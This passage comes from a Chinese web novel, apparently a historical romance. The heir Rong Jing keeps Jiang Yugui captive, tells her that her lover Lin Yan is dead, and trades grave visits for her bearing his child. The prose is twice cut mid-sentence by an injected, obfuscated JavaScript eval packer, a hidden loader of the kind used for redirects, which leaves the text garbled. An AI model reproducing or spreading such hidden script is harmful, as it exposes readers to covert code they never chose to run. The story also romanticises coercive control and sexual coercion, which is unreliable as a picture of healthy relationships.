到那时,是他赢得彻底,还是满盘皆输? 容璟不知道。 他只知道,无论如何,他绝不会放手,哪怕彼此折磨,互相憎恨,姜于归也必须在他身边。 窗外,七夕前夜的雷雨依旧不知疲倦的倾泻着,仿佛要冲刷尽世间所有的虚伪与假象,却又带来了更深的,无法驱散的阴霾与寒意。 而那场原本期待的七夕灯会尚未开始,便已注定笼罩在这片无法消散的阴影之中。 那日之后,秋实因护主不力,被容璟调离了汀兰水榭,另派了一名唤素馨的暗卫前来伺候。 素馨性子沉稳,心思缜密,更重要的是,她已从秋实的遭遇中清楚知晓,这位侧夫人的任何闪失,尤其是在与林晏这个名字相关的事情上,都可能引来世子雷霆之怒。 汀兰水榭内激烈的争吵,以姜于归那句我恨你戛然而止,计划中那场甜蜜的七夕出游,自然也就无疾而终。 容璟转身离去,他需要冷静,更需要让姜于归在绝对的孤寂中,品尝违逆他的苦果。 他下令任何人不得打扰,也刻意屏蔽了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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重要的朝务文书都被移到了水榭的外间处理,然而每一次内间传来细微的动静,哪怕只是她一声无意识的呻吟,容璟都会骤然抬头,目光锐利的扫过去,直到确认那只是病中混沌,才又缓缓垂下眼帘,只是手中的笔,往往许久都无法再落下一个字。 97. 第 97 章 终于,姜于归的高热退去,呼吸变得平稳绵长,容璟才仿佛卸下了千斤重担,紧绷的下颌线条稍稍柔和。 但随即,看到姜于归即便在沉睡中依旧紧蹙的眉头,想到她是为了另一个男人,才将自己折磨成这副模样,那刚缓和片刻的神色上,瞬间覆上一层更厚的寒冰,眸色暗沉得吓人。 昏迷了好几日,这天午后,姜于归终于缓缓醒来。 意识像是沉在浑浊冰冷的水底,挣扎了许久才浮上来,眼前的一切都带着朦胧的重影,思绪是断裂的,混乱的。 姜于归抬手拍了拍有些发疼的太阳穴,脑中永福公主那张怨毒的脸,还有容璟那双深不见底,宣布林晏死讯的眼睛......这些碎片与光怪陆离的梦魇疯狂交织,让她分不清何为现实,何为虚幻。 她喉咙干痛,发出沙哑微弱的声音:“水......” 守在床边的素馨立刻察觉,上前小心的将她扶起,动作轻柔的喂姜于归喝下温水。素馨心中暗自警惕,务必事事周全,不能再有任何差池。 姜于归茫然的目光落在素馨脸上,带着一种陌生的审视。 她努力想聚焦,却只觉得这张清秀的脸庞既熟悉又陌生,仿佛隔着一层毛玻璃,看不真切。 高烧似乎烧断了某些记忆的链条,又或者是一种潜意识的自我保护,让她暂时隔绝了那份蚀骨的痛楚。 过了好一会儿,她才像是从脑海深处翻捡出了一些信息,迟疑的确认了对方的身份。 是了,是侍女,但......好像不是秋实? 这个念头一闪而过,却被更强烈的混乱感压了下去,她此刻心神脆弱,无力深思,只是顺着本能低语。 “我......做了一个很可怕的梦,梦见永福公主......她说......林晏死了......” 这话一出,素馨浑身一僵,脸色瞬间褪得惨白。 她立刻垂下眼,不敢与姜于归对视,心中警铃大作。 秋实的前车之鉴就在眼前,她岂敢在这个话题上接口半个字?只能屏住呼吸,噤若寒蝉。 姜于归却仿佛没有看到她的恐惧,突然猛的抓住了素馨的手腕,力道大得惊人,指甲几乎要嵌进对方的皮肉里。 她眼中迸发出一种近乎绝望的急切光芒,紧紧盯着素馨。 “是梦,对不对?那一定只是个噩梦!你告诉我!” 素馨吃痛,却不敢挣脱,只是将头垂得更低,咬紧了下唇,一言不发。 她不能回答,无论如何回答都可能引火烧身。 得不到回应,姜于归眼中的急切迅速被更深的迷茫和恐慌取代,她像是被某种无形的力量驱使着,猛甩开素馨的手,不顾一切掀开身上的锦被,赤着脚就跳下了床榻。 连日的高烧让她浑身无力,双脚踩在冰凉的的板上,虚浮得如同踩在棉花上,一个踉跄几乎摔倒。 但她不管不顾,任由如墨的长发凌乱的披散在身后,如同一个迷失了方向的幽魂,跌跌撞撞的就往门外冲去。 她心里只有一个念头,去找容璟!只有他才能证实,那真的只是一场噩梦! “侧夫人!您要去哪儿!您还不能下地啊!” 素馨这才从震惊中回过神,焦急呼喊,连忙上前试图拦住她,可姜于归此刻不知从哪里生出一股力气,竟挣脱了她的手,执拗的向外冲。 素馨不敢用强,生怕伤了她,只能一边紧跟在侧,虚扶着防止她摔倒,一边急急劝道:“侧夫人,您身子虚弱,需要静养!有什么事等好些再说......” 姜于归充耳不闻,脑海里只剩下一个疯狂盘旋的念头,她必须亲耳听到容璟的否定! 姜于归穿着单薄的中衣,赤足踩过冰冷的地板,穿过回廊,不顾沿途侍女们惊愕失措的目光,像一缕游魂,又像一个奔赴最后审判的囚徒,径直朝着容璟的书房奔去。 书房的门被猛的推开,撞在墙上发出沉闷的响声,带着一股决绝的慌乱。 容璟刚刚才接待了一位重要的同僚,所以今日才不在汀兰水榭,前一刻才让长青把人送出府,正在批阅文书。 他蹙眉抬头,眼底还带着被打扰的不悦,却在看清门口那道身影的瞬间尽数化为惊愕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但此刻,她眼中那毫不设防的,纯粹的脆弱,那基于对他最后一丝信任而产生的,近乎卑微的求证,像一根烧红的细针,猝不及防的刺破了他坚冰般的外壳。 98. 第 98 章 一丝陌生的,名为心疼的情绪,不受控制的渗了出来。 他几乎要脱口而出那个她渴望听到的谎言,是的,只是梦。 然而,就在他薄唇微启,那谎言即将冲口而出的瞬间,姜于归仿佛从他细微的迟疑和复杂难辨的眼神中,读出了某种残酷的真相。 或者,是从她自己混乱的记忆深处,某个被压抑的,血淋淋的碎片骤然挣脱了束缚,尖锐的刺入了她的意识。 姜于归瞳孔骤然紧缩,像是被无形的重锤击中,猛的按住剧烈抽痛的太阳穴,身体控制不住的剧烈颤抖起来,眼中的那点祈求之光瞬间被巨大的,灭顶的恐惧和绝望吞噬,碾碎。 她摇着头,一步步向后退,泪水毫无征兆的汹涌而出,瞬间爬满了苍白的脸颊:“不......不是梦......你说过的......你亲口说的......他死了!林晏死了!” 记忆的洪流冲垮了暂时的迷障,那被高烧压抑的恨意,此刻以更猛烈的姿态回归,姜于归的眼神瞬间变得锐利如刀,裹挟着滔天的痛苦和毁灭欲,狠狠刺向容璟。 “是你!你为什么要骗我?为什么!我恨你!我恨不得杀了你!” 姜于归像是被逼到绝境的幼兽,爆发出惊人的力量,猛的扑上来,对着容璟又捶又打。 那点力气对容璟而言微不足道,但姜于归眼中那纯粹而炽烈,几乎要将他焚烧殆尽的恨意,却像一场突如其来的燎原大火,烧得他心脏刺痛。 那刚刚升起的一丝心疼瞬间被灼烧成灰烬,取而代之的是被狠狠挑衅权威的暴怒和更深沉的,冰封一切的妒恨。 “姜于归!” 他厉声喝止,声音冷得掉冰渣,轻易便制住了她挥舞的,徒劳的双手。 姜于归却仿佛完全失去了理智,依旧在他钳制下挣扎着,哭喊着,字字泣血:“为什么要骗我!为什么!” 容璟眼底最后一丝温度也彻底褪尽,只剩下一片荒芜的冰冷。 他看着她因恨意而扭曲的苍白面容,一种近乎残忍的念头野蛮的占据上风。 他不能再给她任何虚假的希望,那只会让她更痛苦,也让他更失控。 他必须让她彻底死心,让她带着这彻骨的恨意,清醒的留在地狱里陪他! 这,才是对他们之间关系最牢固的绑定。 容璟猛的俯身,将她打横抱起,不顾她的踢打挣扎,大步走回内间,将她重重放回床榻上。 在姜于归挣扎着要起身时,他一手牢牢按住她的肩膀,另一只手强硬的捏住她的下巴,强迫她抬起泪痕斑驳的脸,看着自己冰冷无情的眼睛。 他的声音低沉而残酷,一字一句,清晰的,重重的砸在她耳膜上,也砸在她本就千疮百孔,奄奄一息的心上。 “没错,他死了!姜于归,你听清楚,慕容林晏已经死了,你这辈子,都只能待在我身边,即便你想着他,恨着我,这就是你的命!” 他选择了加深这个烙印,在她最脆弱,最混乱的时候,将这事实如同烙印般,彻底钉死在她的灵魂里。 姜于归瞪大了眼睛,像是无法承受这最终的判决,身体剧烈的颤抖,眼中的疯狂和恨意如同燃尽的烛火,骤然熄灭,只剩下一片死寂的,毫无生气的灰败。 下一刻,姜于归猛的咳出一口血,殷红的血迹溅在容璟的衣服上,触目惊心,随即整个人如同被抽走了所有的灵魂和力气,软软的倒了下去,再次陷入无边无际的黑暗之中。 容璟看着姜于归唇边那抹刺眼的红,按在她肩头的手几不可察的颤抖了一下,那温热的,带着生命力的液体溅上他手背的触感,竟像是滚烫的熔岩,灼得他心脏骤然一缩。 “于归!” 容璟几乎是下意识的低吼出声,那声音里带着一丝连他自己都未曾察觉的惊惶。 他手臂猛的收紧,将她彻底失去意识,轻得可怕的身子牢牢接入怀中,指节因用力而泛白,仿佛生怕慢了一步,她就会化作一缕轻烟,从他指缝间彻底消散。 他抬头,向来温润的嗓音此刻尖锐得划破了水榭的宁静:“长青!传府医!快!” 一刻也不敢耽搁。 整个汀兰水榭瞬间陷入一种无声的忙乱,侍女们屏息凝神,脚步匆匆。 容璟将姜于归轻轻放回床榻,用指尖有些笨拙的想去擦拭她唇边下颌的血迹,那抹殷红衬得姜于归脸色惨白如纸,形成一种惊心动魄的对比。 他盯着自己染血的指尖,眼神深处是翻涌的,连他自己都无法理解的恐惧。 府医是被半请半拖的带来的,年迈的老者气喘吁吁,在接触到容璟那几乎要噬人的目光时,所有喘息都硬生生憋了回去,立刻上前诊脉。 室内静得可怕,容璟站在床边,身形挺拔依旧,却像一张拉满的弓,紧绷得随时可能断裂。 他的目光死死锁在府医沉吟的脸上,不放过任何一丝细微的表情变化。 良久,府医收回手,面色凝重的转向容璟,斟酌着词语。 “世子......侧夫人此乃急火攻心,悲恸过甚,郁结于五脏,乃至血气逆行,冲破肺络,故而咯血。加之此前风寒入体,邪热未清,内外交攻,以致元气大伤......” 容璟的声音冷得像冰,打断了他的引经据典:“说重点。” 府医身子一颤,伏低身子,硬着头皮道:“娘子此症,凶险异常。心脉受损,尤需静养。万......万不可再受任何刺激,需得平心静气,缓缓图之,否则......” “否则怎样?”容璟追问,每个字都像是从牙缝里挤出来。 府医深吸一口气,说出了那句足以触动容璟逆鳞的判词:“否则,恐非但药石无灵,更有......心衰神耗,油尽灯枯之虞啊!” 油尽灯枯。 这四个字,如同最沉重的丧钟,在容璟耳边轰然炸响。 室内陷入一片死寂,空气仿佛凝固,压迫得人喘不过气。 容璟的脸上没有任何表情,但那双深不见底的凤眸中,却掀起了惊涛骇浪。他费尽心机,用谎言,用算计,用强权才留在身边,烙上印记的人,难道最终竟要被他亲手逼至油尽灯枯的境地? 这绝不是他容璟要的结果。 他沉默良久,久到府医和侍女们都以为即将迎来一场风暴。 最终,他却只是极轻,极缓的摆了摆手,声音带着一种压抑到极致的平静。 “知道了,用最好的药,务必让她醒过来,好起来。” 府医如蒙大赦,连忙叩首去开方煎药。 容璟重新坐回床边的梨花木椅上,目光复杂的落在姜于归毫无生气的脸上。 油尽灯枯...... 之后的几日,姜于归时而清醒,时而昏睡,游走在混沌与短暂的清明之间。 素馨喂她药,她便机械的张口咽下,然后就是静静的望着帐顶某一处虚无,仿佛外界的一切都与她无关。 而每一次,只要容璟的身影出现在姜于归的视线之内,哪怕只是门边一道模糊的轮廓,姜于归便会像被瞬间点燃的引线,爆发出惊人的,近乎癫狂的力量。 她原本涣散的眼神骤然聚焦,死死钉在容璟身上。然后不顾一切的从床榻上挣扎而起,赤着脚,如同索命的幽魂,带着同归于尽的决绝扑向他! 但每一次,要么是被时刻警惕的素馨拼死拦住,用身体隔在两人之间,承受着姜于归失控的抓挠。 要么就是被容璟更快一步,轻而易举的拽住她的手腕。 每一次徒劳的攻击之后,紧随而来的便是精力耗尽,眼前阵阵发黑,天旋地转,软软瘫倒在地。 如此反复几次,姜于归的脸色一次比一次苍白,几乎透明,身形也肉眼可见的消瘦下去,宽大的寝衣空落落的挂在她的骨架上,随着她微弱的呼吸轻轻晃动,更添了几分触目惊心的脆弱,仿佛下一刻就会彻底碎裂,消散。 容璟紧抿着薄唇,深邃的眼眸里暗流汹涌,是心疼,是恼怒,或许还有一丝不易察觉的悔意? 最终,他不再现身于姜于归眼前。 他怕了,不是怕她的抓挠撕打,而是怕自己这剂毒药,会彻底催垮她本就摇摇欲坠的身子骨。 于是,容璟隐匿在暗处,像一道沉默的影子,在姜于归察觉不到的角落,贪婪又克制的凝视着她。 姜于归时常会在清晨醒来时,发现窗棂上有一道若有若无的新鲜水痕,仿佛有人曾在深夜于此长久伫立,连晨曦都无法完全蒸腾掉那留下的湿气。 她偶尔在庭院中缓慢走动,总能感觉到假山后,月洞门外,有一道视线如影随形,冰冷而黏着,仿佛潮湿的蛛网,悄无声息的覆盖下来。 他不再与她正面冲突,却用一种更无声的方式,让她清晰的感知到,她永远在他的囚笼之中,无所遁形。 这种无处不在的监视,比直接的暴怒更令人窒息。 他命人搜罗了无数解闷的玩意儿,珍本古籍,名家字画,精巧乐器,甚至民间新奇的博弈玩具,流水似的送入她的房中。 然而那些东西大多原封不动的搁置着,蒙上了一层细细的灰尘。 姜于归对外界的一切似乎都失去了兴趣,整日里要么昏睡,要么便是倚在窗边,眼神空洞的望着庭院里的一成不变的景色,像一尊失了魂的玉雕。 转机发生在一个月华如练的夜晚。 月色清冷,透过窗棂洒在姜于归苍白得近乎透明的脸上,她依旧坐在老地方,望着天边那轮皎洁的孤月,冰凉的泪珠无声滑落,一滴一滴,浸湿了衣襟。 她想起林晏,想起他温润的笑意,想起他承诺过的未来,心口依旧痛得窒息。 可就在这无边的痛苦和绝望中,一个念头如同月光般,照进了她死寂的心湖 身体是她自己的,她不能再这样下去了。 林晏若在天有灵,会愿意看到她这般自戕式的哀悼吗? 他不会,他那样一个光风霁月的人,定然希望她好好活着。 这念头起初只是微光,随即越来越清晰,带着一种决绝的力量。 恨意未曾消减,但它不能再通过消耗自身来表达了,她需要力气,需要健康,需要从这泥淖中重新站起来。 自那夜起,她开始强迫自己进食,哪怕味同嚼蜡,也一点点将食物咽下去。 她开始在庭院中更久的走动,任由阳光洒在身上,感受着久违的暖意。 不过姜于归依旧沉默,但眼神里那彻底的枯寂,渐渐被一种坚毅所取代。 时间悄然滑入八月,姜于归的面色终于不再那么惨白,双颊隐约透出些许极淡的血色,虽然依旧清瘦,但行动间已不再那般虚弱无力。 这一日,晚霞还未完全褪尽,天边残留着一抹瑰丽的紫红,容璟正于书房处理公务,忽听门外传来细微的脚步声,以及长青低低的,带着惊诧的通报声:“世子,侧夫人......求见。” 容璟执笔的手猛的一顿,上好的狼毫笔尖在宣纸上晕开一大团墨迹,毁了刚刚写就的密函。 他霍然抬头,眸中是毫不掩饰的惊讶,随即,一丝狂喜如同投入湖面的石子,在他眼底迅速漾开涟漪。 她主动来找他?这是自那场剧烈冲突后的第一次! 容璟几乎是立刻就要起身相迎,但理智强行按捺住了这股冲动。 他深吸一口气,将翻涌的情绪死死压回心底,面上恢复了一贯的沉静,甚至带着几分刻意的疏冷,只是微微颤抖的指尖泄露了他内心的不平静。 容璟沉声道:“让她进来。” 门被轻轻推开,姜于归逆着光站在门口,她穿着一身素净的月白襦裙,未施粉黛,长发只用一根简单的玉簪松松挽起,整个人清减得仿佛一阵风就能吹走。 她的眼神平静,甚至带着一种近乎淡漠的镇定,不再有之前的疯狂与绝望,这反而让容璟心头一紧。 没有行礼,没有寒暄,她开口,声音不高,单刀直入,清晰无比:“妾身想求世子一事。” 容璟放下笔,目光沉沉的锁在她脸上,不愿错过她任何一丝表情变化:“说。” “我想去祭拜慕容大人。” 空气仿佛瞬间凝固,容璟周身的气息瞬间冷了下来,眼底刚刚泛起的那一丝微光骤然熄灭,被浓重的阴鸷所取代。 他放在书案上的手缓缓收紧,指节泛白。 果然......果然还是为了他! 那股熟悉的,几乎要焚毁理智的妒火再次窜起,灼烧着他的五脏六腑。 容璟几乎要脱口而出的斥责,在看到姜于归那双平静无波,却隐隐带着执拗的眼睛时,硬生生卡在了喉咙里。 姜于归好不容易才恢复了些许生气,他若再次强硬拒绝,是否会将她重新推回那个绝望的深渊? 容璟强迫自己冷静,让她去看看也好,亲眼看到那座冰冷的坟墓,或许就能彻底死心。 他了解姜于归,她骨子里是坚韧的,并非那种会殉情的柔弱女子,也绝非只会哭泣的无能之辈。 今日姜于归能主动踏出这一步,来找他谈判,本身就意味着一种态度的转变,或许......他们之间,并非全无转圜的余地。 心里已然松动,甚至开始权衡利弊,但出口的话语,却带着惯有的强势与刻薄。 容璟的声音冷得像冰:“凭什么?本世子凭什么要答应你这个要求?” 姜于归似乎早已料到他会如此反应,脸上没有任何意外,只是嘴角勾起一抹极淡的,带着嘲讽的弧度。 “世子莫非忘了?当日你答应救林晏,我承诺对你再无二心。我姜于归,不是世子,并非言而无信之人。我做到了自我承诺之事,难道不算是尽了侧夫人的职责?” 她特意加重了职责二字,带着说不出的讥诮。 容璟沉默,眸色更深。 她确实做到了她承诺的表面文章,可他想要的是什么,彼此心知肚明。 见容璟不语,姜于归继续道,声音平稳却带着力量:“我已是世子侧夫人,这是改变不了的事实。如今,我只是想去祭拜一下故人,了却一桩心事。世子究竟在担心什么?” 说罢,姜于归抬起眼,目光直直的看向他,那眼神清冽如冰。 “莫非世子是在怕......自己争不过一个已死之人?” 这话像一根尖锐的针,精准的刺中了容璟内心最隐秘的痛处与不甘。 他猛的抬眼,眼中戾气一闪而过:“当然不是!” 他几乎是从牙缝里挤出这几个字,他怎么会承认,那个死去的林晏,如同一个无形的枷锁,始终横亘在他们之间? 深吸一口气,容璟强压下翻腾的怒火,告诫自己不必与一个死人计较,未来的日子还长。 “好,本世子答应你,但你要记住自己的话,言而有信!” 姜于归垂下眼帘,掩去眸中一闪而过的复杂情绪,沉默以对。 “不过!” 容璟突然话锋一转,语气带着不容置疑的掌控:“你必须有人跟随。而且,本世子直言,不会只有一两人,会有众多暗卫随行。” 姜于归闻言,脸上竟无半分意外,反而露出一丝了然的淡笑,那笑却未达眼底:“我身边,不是一直都有吗?世子何必多此一举,我答应。” 去祭拜那日,天气阴沉,秋风萧瑟,卷起枯黄的落叶,打着旋儿飘落在荒凉的山坡上。 容璟亲自带着姜于归来到城郊一处僻静的山岗,那里孤零零的立着一座新坟,只是墓碑上空空如也,未刻一字。 容璟的声音在风中显得格外冷硬:“慕容林晏是陛下下令要杀的钦犯,被斩首后,下旨不得收尸,尸身被丢弃于乱葬岗,是本世子念在过往一丝情分,也是看在他祖父母年迈的份上,派人寻回他的尸骨,交还给慕容家二老,带回老家入土为安。所以这里,不过是个衣冠冢。” 姜于归静静的听着,脸上没有任何表情,仿佛在听一个与己无关的故事。 对于容璟的话,她已不愿再去分辨真假。 信或不信,于此刻而言,都已不重要。 人都不在了,纠结于尸骨何在,又有何意义? 只是听到乱葬岗,尸骨这些字眼时,她的眼眶依旧不受控制的泛红,泪水无声滑落。 姜于归深吸一口冰冷的空气,强迫自己稳住声线,问出心中的疑惑:“他的祖父母呢?为何要经由世子之手?” 容璟看了她一眼,眼神晦暗不明:“他们得知林晏之事后,悲痛过度,双双病倒了。” 他看着姜于归泛红的眼睛,容璟顿了顿,似是无意的补充道。 “林晏的父亲曾是戍边将领,战功赫赫,可惜战死沙场。母亲亦是因边关苦寒,思念成疾而早逝。林晏的祖父母担心林晏将来再赴沙场险境,所以让他参加科举。否则以林晏的资质与家学渊源,他未必会成为一文官,或许早已投身军旅,建功立业。 现在盛京于二老而言,已是伤心绝地,他们也不愿再留在此处触景生情,所以在我把林晏的尸骨交给他们后,他们便带着林晏启程,返回祖籍老家了。” 姜于归愕然:“什么时候的事?” “今年三月初,便已离京。” 三月初......那是在林晏死后不久。 姜于归惊愕的看向容璟,不由冷笑:“世子可真会守口如瓶。” 容璟目光微动,若有所指道:“我还有些藏得更深的秘密。” 姜于归不再看容璟,眼中闪过一抹失落与了然。 原来,在她被囚于世子府,在照顾容璟的时候,外间早已物是人非。 姜于归沉默良久,拿出早已经准备好的祭拜品和一些点心摆上,祭拜完之后,望着那无字的墓碑,仿佛下定了某种决心,再次开口,声音轻却坚定:“以后,每月初一,十五,我想来此祭拜两次。” “姜于归!” 容璟的怒火再次被点燃,他额角青筋微跳:“你不要得寸进尺!” 每月两次?她是要时时刻刻提醒他,她心里永远装着另一个男人吗? 面对容璟的怒火,姜于归没有退缩,她只是平静的开口。 “我知道他已经死了,这是谁都无法改变的事实。我姜于归不是拿不起放不下的人,但正因为要放下,才需要这样一个仪式。每月两次祭拜,不是要记住他,恰恰是为了好好的告别。 难道世子希望我把这件事永远埋在心底,成为一个永远打不开的心结吗?只要让我行动了结这份牵挂,祭拜过后,我才能真正的向前看。否则,这份未了的念想,只会让我更加难以释怀。所以——” 姜于归转头看着容璟,目光恳切而坦然,似乎真的是在放下:“请世子成全。” 姜于归的话实在让容璟欣喜,但是这个转变太快,容璟心底根本不相信,随后开口的语气却变得极其冰冷,带着商人般的算计:“姜于归,你要清楚,这件事于本世子而言,太不划算。你已是我的侧夫人,却要时常来祭拜一个外人,一个故人?若被旁人知晓,本世子的脸面往哪儿搁?岂不是让全天下人都笑话我容璟,头顶着绿巾而不自知?” 姜于归却仿佛看穿了他的顾虑,冷静的反驳:“他是陛下亲下令处斩的钦犯,不许收尸。世子暗中替他收敛尸骨,立此衣冠冢,本就是隐秘之事。这坟墓无名无姓,旁人又如何得知里面葬的是谁?更遑论,这只是一个衣冠冢。” 容璟被姜于归的话堵得一噎,脸色更加难看,胸脯微微起伏,显示着他极力压抑的怒火。 他死死的盯着她,半晌,忽然冷笑一声,那笑容里带着一丝残忍和势在必得:“好!我可以答应你每月祭拜两次。” 姜于归眼中刚闪过一丝微光,却听容璟话锋陡然一转,带着不容置疑的强势:“但是,我有一个条件。” 他向前一步,逼近姜于归,高大的身影带着强烈的压迫感,几乎将她完全笼罩。 “我要你,给我生一个孩子。” 姜于归猛的抬头,脸上血色瞬间褪尽,变得惨白如纸,嘴唇不受控制的微微颤抖。 孩子?和他?这比任何折磨都让她感到恐惧和屈辱! 容璟看着她骤变的脸色,心中掠过一丝刺痛,但更多的是一种扭曲的,想要将她彻底绑在自己身边的执念。 他继续逼近,几乎贴着她的耳畔,声音低沉而危险,带着炽热的气息,却又冰冷如刀:“你已经是我的人,行夫妻之礼,生儿育女,本是天经地义。本世子一而再,再而三答应你的要求,纵容你的任性,姜于归,你没理由一直让我做这亏本的买卖,而且你不说你祭拜的行为,是想放下吗?那放下之后,就可以安心向前看,好好跟着我,现在想要祭拜的自由?可以。用我们的孩子来换。” 秋风卷着枯叶,发出呜咽般的声音,空旷的山岗上,无字的墓碑沉默伫立,像一场无声的审判。 姜于归浑身冰冷,指尖深深掐入掌心,带来尖锐的痛感。 她看着容璟那双深不见底,充满了占有欲和势在必得的眼眸,又仿佛透过他,看到了那座孤零零的衣冠冢。 自由祭拜的机会,是她探查外界,谋划逃离的重要一步。 可代价......竟是如此沉重。 漫长的沉默在两人之间蔓延,每一息都如同刀割。 容璟耐心的等待着,他知道她在权衡,在挣扎。 而他,有的是时间和手段,等她屈服。 最终,姜于归缓缓的,极其缓慢的闭上了眼睛,再次睁开时,眼底只剩下一片死寂的,近乎麻木的决绝。 她几乎是咬着牙,从齿缝里挤出一个字,轻得几乎被风吹散,却又重重的砸在容璟的心上:“好。” 得到自己满意的答案,容璟心中那些怒火和烦躁彻底消散。 一个衣冠冢,换姜于归认清现实,或许......值得。 月色凄清,如一层冰冷的薄纱,笼罩着庭院,也笼罩在姜于归的心上,密不透风。 自城外归来,她确实沉寂了,如同经历了一场浩劫,所有的生气都被抽干,只余下一具安静得令人心慌的躯壳。 她对容璟的一切安排逆来顺受,不反抗,不迎合,眼神里是一种近乎枯竭的漠然。 唯有每月初一,十五的祭拜,是她黯淡生命中唯一被允许,也唯一带着些许鲜活痛感的出口。 最初的四五次祭拜,她是真的在悲伤。 马车颠簸,驶向城外那片开满无名野花的山坡,每一次,她都会在那座无字的衣冠冢前站立许久。夏日的疾风和秋日的落叶,都见证过她的泪水无声滑落。 姜于归不怕暗卫将她的脆弱与泪水悉数报于容璟知晓,这悲伤是真实的堡垒,是她无需伪装,也不必伪装的领域。 她对着那抔黄土,倾诉着无人能懂的哀恸,也像是在祭奠那个曾经心怀悸动,如今已随之死去的自己。 姜于归对着那衣冠冢心中默默道:林晏,保佑我吧,保佑我能顺利逃离那座华丽的牢笼,逃离容璟身边。 为了慢慢让容璟相信姜于归真的决定走出来,某次她语气平静,带着一丝恰到好处的怅然说道:“秋实那日也并非大错,是我自己心神不稳,迁怒了她。如今想来,她伺候我一场,也算尽心。现在我身子好了,素馨虽稳妥,但许多旧日的习惯,还是秋实更清楚些。世子若觉得她可用,便让她回来吧,也算全了我与她主仆一场的情分。” 当时容璟看了姜于归许久,似乎是在思索这件事的可行性,毕竟他对办事不利之人,向来是赏罚分明。 姜于归面对容璟的沉默,心里继续向着下一句说辞。 不管如何,她必须把秋实要回来。 一个对旧仆都冷酷无情,任其牵连贬斥的主子,不符合她如今需要营造的,试图放下过去安心做容璟侧夫人的驯服模样。 找回秋实,施以恩惠,才能让容璟更相信她已收敛爪牙,安心居于这金丝牢笼之中。 再者,这本身也是一次试探,她要看看,容璟此刻给予的纵容,底线究竟在何处。 他若应允,便证明她现在进行的戏码演得足够成功,能换取更多的活动空间与信任。 他若拒绝,也好让她更清晰地丈量出,那温情脉脉的假象之下,掌控的枷锁究竟勒得有多紧,以便她及时调整后续的每一步计划。 思及此,姜于归眼中闪过一丝冰封的决然,每一步,都不能踏错。 容璟沉默之后突然失笑,温柔的把姜于归拉了过去。 这是姜于归这段时间少有的与他主动开口,容璟自然也不会拒绝,命人重新把受过罚,现在也好的查不到的秋实调了回去。 此刻素馨和秋实都站在不远处等候着姜于归,带姜于归祭拜完毕,抬手摸了摸泪水,这才转身回去,将自己重新关入那片精致的牢笼。 而容璟听着暗卫的汇报,指尖一次次攥紧。 “侧夫人于墓前垂泪良久,身形单薄......” “侧夫人归途一路无言,神色悲切......” 每一个字都像针一样扎在容璟心上,却不是出于怜悯,而是源于一种灼热的占有欲。 那个人,竟还能如此牵动姜于归的心神! 容璟脸色阴沉,眸中翻涌着偏执的猜忌与暴戾。 他甚至怀疑,姜于归每次去祭拜,是否都在心底嘲笑着他的无能,是否在用眼泪为那个死人守节! 他加强了监视,命令暗卫事无巨细的禀报,他要穿透姜于归的悲伤,看清背后是否有他不曾察觉的暗流。 直到第五六次祭拜之后,暗卫的回报开始有了细微的变化。 “侧夫人今日在墓前站立时间稍短,虽仍有泪,但归途时似乎在车内小憩了片刻。” “夫人今日归来,下车时,目光在街边新开的杂货铺停留了一瞬。” 这些变化极其微小,却精准的触动了容璟那根敏感的神经。 他敲击桌面的手指停顿了,锐利的眼神里第一次出现了审视以外的情绪,一种扭曲的探究。 姜于归......是累了?还是开始......看向别处了? 第七八次,变化更为明显。 姜于归祭拜时依旧神情哀戚,但不再长时间沉浸其中,归来时,她破天荒的让马车在城中绕行。 她去了凝香斋,并未购买什么,只是指尖沾了些许胭脂,在掌心晕开,看着那抹刺目的红,眼神空茫,仿佛在透过这色彩,确认自己是否还活着。 她也去了玲珑阁,漫无目的的浏览着那些珠翠,拿起一支素银簪子,看了看,又放下,眉宇间是挥之不去的轻愁,却不再是最初那般决绝的悲痛。 这些行为,通过暗卫之口,被反复分析,呈于容璟面前。 容璟心中的坚冰,开始出现第一道裂痕。 他的偏执让他无法立刻尽信,但另一种情绪,属于掌控者的自信,开始悄然滋生。 他想起,姜于归与林晏,相识相恋确实不久,那份骤然迸发的,几乎摧毁了她的巨大悲伤,是否只是因为消息来得太突然,太惨烈,加上是让她不喜的永福相告,所以才让姜于归在毫无准备之下心神崩溃? 如今,时间流逝,仪式性的祭拜,或许真的成了她宣泄和告别的途径。 姜于归开始接触外界,尝试着重新触碰这个没有林晏的人间烟火。 这是否意味着,她心里那块属于林晏的坚硬的冰,正在慢慢融化? 容璟甚至在一次听汇报时,嘴角勾起一丝难以察觉的弧度。 像温水般一点点浇熄着容璟最初的怒火与怀疑,他开始觉得,或许姜于归当初说的话有几分道理,她用这种仪式性的祭拜,逐渐回归世俗的生活,正在尝试真正放下。 看,她终究是走出来了。 而这个让她走出来,并最终只能停留的世界,是完完全全属于他容璟的。 容璟扭曲的期待着,当她心中的位置彻底空出来之后,除了他,还能有谁? 当然,他并未完全放松警惕,只是,那监视的网,在潜意识里稍微松动了一丝。 他开始更关注她恢复的迹象,而非仅仅是她悲伤的表现。 夜里,他依旧会强势的索取,动作间带着不容置疑的占有,仿佛想通过最亲密的接触,穿透她平静的表象,确认她的身心俱在,确认她心里那个角落是否真的已被清空。 然而,姜于归的腹部始终不见动静,这像一盆冷水,时不时浇在他刚刚升温的期待上。 每月府医请平安脉成了定例,姜于归总是配合的伸出手腕,面色平静听着府医重复那套几乎能背下来的说辞。 “世子爷,侧夫人此前服用避子药物时日不短,且次数频繁,损伤了根基,加之年前那场大病耗空了气血,身体亏虚得厉害,非短期汤药所能弥补,必须耐心调理一段时日,方有望延育子嗣。” 容璟坐在一旁,面色沉寂如水,看不出喜怒。 他并未苛责府医的无能,也未对姜于归流露出更多直白的不满,只是挥挥手让人退下。 看着姜于归低眉顺眼的样子,容璟有时会想,这究竟是身体的原因,还是她心底......依旧不愿? 